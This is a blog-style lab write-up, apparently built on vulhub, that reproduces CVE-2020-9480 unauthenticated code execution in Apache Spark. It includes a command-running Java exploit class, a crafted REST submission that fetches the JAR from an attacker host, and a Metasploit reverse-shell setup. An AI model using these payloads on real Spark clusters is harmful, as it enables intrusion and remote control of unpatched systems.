Apache Spark 任意代码执行漏洞(CVE-2020-9480)

Apache Spark 任意代码执行漏洞(CVE-2020-9480)

0x01 漏洞简介

Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Apache Spark的独立资源管理器的主服务器可以通过配置共享密钥进行认证(spark.authenticate),但是在认证启用之后,即使没有共享密钥,也可以通过发送到主服务器的精心构造的远程过程调用指令在Spark集群上成功启动应用程序的资源,攻击者可以利用该漏洞在主机上执行任意命令。

Apache Spark的认证机制存在缺陷, 在开启密钥认证的情况下,未经验证的攻击者仍可通过精心构造的数据包进行远程代码执行。

0x02 影响版本

Apache Spark < = 2.4.5

0x03 环境搭建

下载环境:https://github.com/vulhub/vulhub/tree/master/spark/unacc

docker运行环境:docker-compose up -d

环境启动后,会自动启用三个端口:8080,8081,6066,7077

他们分别为
(1)master的管理页面:http://192.168.237.129:8080/
在这里插入图片描述

(2)slave的管理页面:http://your-ip:8081

在这里插入图片描述

(3)stadalone模式下,master将在6066端口启动一个http服务器

在这里插入图片描述

(4)7077,是在6066端口不能访问的情况下,或做了权限控制,可以利用master的主端口来提交应用。

0x04 漏洞复现

未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。提交方法有两种。

(1)利用REST API

(2)利用submissions网关(集成在7077端口中)

应用可以是Java或Python,就是一个最简单的类,如

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Exploit {
  public static void main(String[] args) throws Exception {
    String[] cmds = args[0].split(",");

    for (String cmd : cmds) {
      System.out.println(cmd);
      System.out.println(executeCommand(cmd.trim()));
      System.out.println("==============================================");
    }
  }

  // https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
  private static String executeCommand(String command) {
    StringBuilder output = new StringBuilder();

    try {
      Process p = Runtime.getRuntime().exec(command);
      p.waitFor();
      BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

      String line;
      while ((line = reader.readLine()) != null) {
        output.append(line).append("\n");
      }
    } catch (Exception e) {
      e.printStackTrace();
    }

    return output.toString();
  }
}

将其编译成JAR,放在任意一个HTTP或FTP上

//打包成jar包
创建mainfest.mf文件,其中写入:Main-Class: Exploit
javac Exploit.java
jar cvfm Exploit.jar mainfest.mf Exploit.class

python -m http.server  

REST API方式提交

standalone模式(Spark集群的三种运行模式之一)下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API。访问并抓包

POST /v1/submissions/create HTTP/1.1
Host: 192.168.237.129:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 631

{
  "action": "CreateSubmissionRequest",
  "clientSparkVersion": "2.3.1",
  "appArgs": [
    "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf,touche /tmp/success"
  ],
  "appResource": "http://192.168.237.1:8000/Exploit.jar",
  "environmentVariables": {
    "SPARK_ENV_LOADED": "1"
  },
  "mainClass": "Exploit",
  "sparkProperties": {
    "spark.jars": "http://192.168.237.1:8000/Exploit.jar",
    "spark.driver.supervise": "false",
    "spark.app.name": "Exploit",
    "spark.eventLog.enabled": "true",
    "spark.submit.deployMode": "cluster",
    "spark.master": "spark://192.168.237.129:6066"
  }
}

# 其中,spark.jars即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。

在这里插入图片描述

拦截抓包改包,会得到返回值:submissionId,然后访问http://192.168.237.129:8081/logPage/?driverId=driver-20221214091542-0000&logType=stdout,即可查看执行结果:

在这里插入图片描述

利用Submissions网关

如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。

方法是利用Apache Spark自带的脚本bin/spark-submit:

./spark-submit --master spark://192.168.237.129:7077 --deploy-mode cluster --class Exploit https://192.168.237.130/Exploit.jar id

如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用

或者使用如下方法:

利用msf的模块进行使用

use exploit/linux/http/spark_unauth_rce
set payload java/meterpreter/reverse_tcp
set rhost 被攻击ip
set rport 6066
set lhost 攻击ip
set lport 4444
set srvhost 攻击ip
set srvport 8080
exploit

攻击成功后可以使用sessions -l 查看生成shell

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值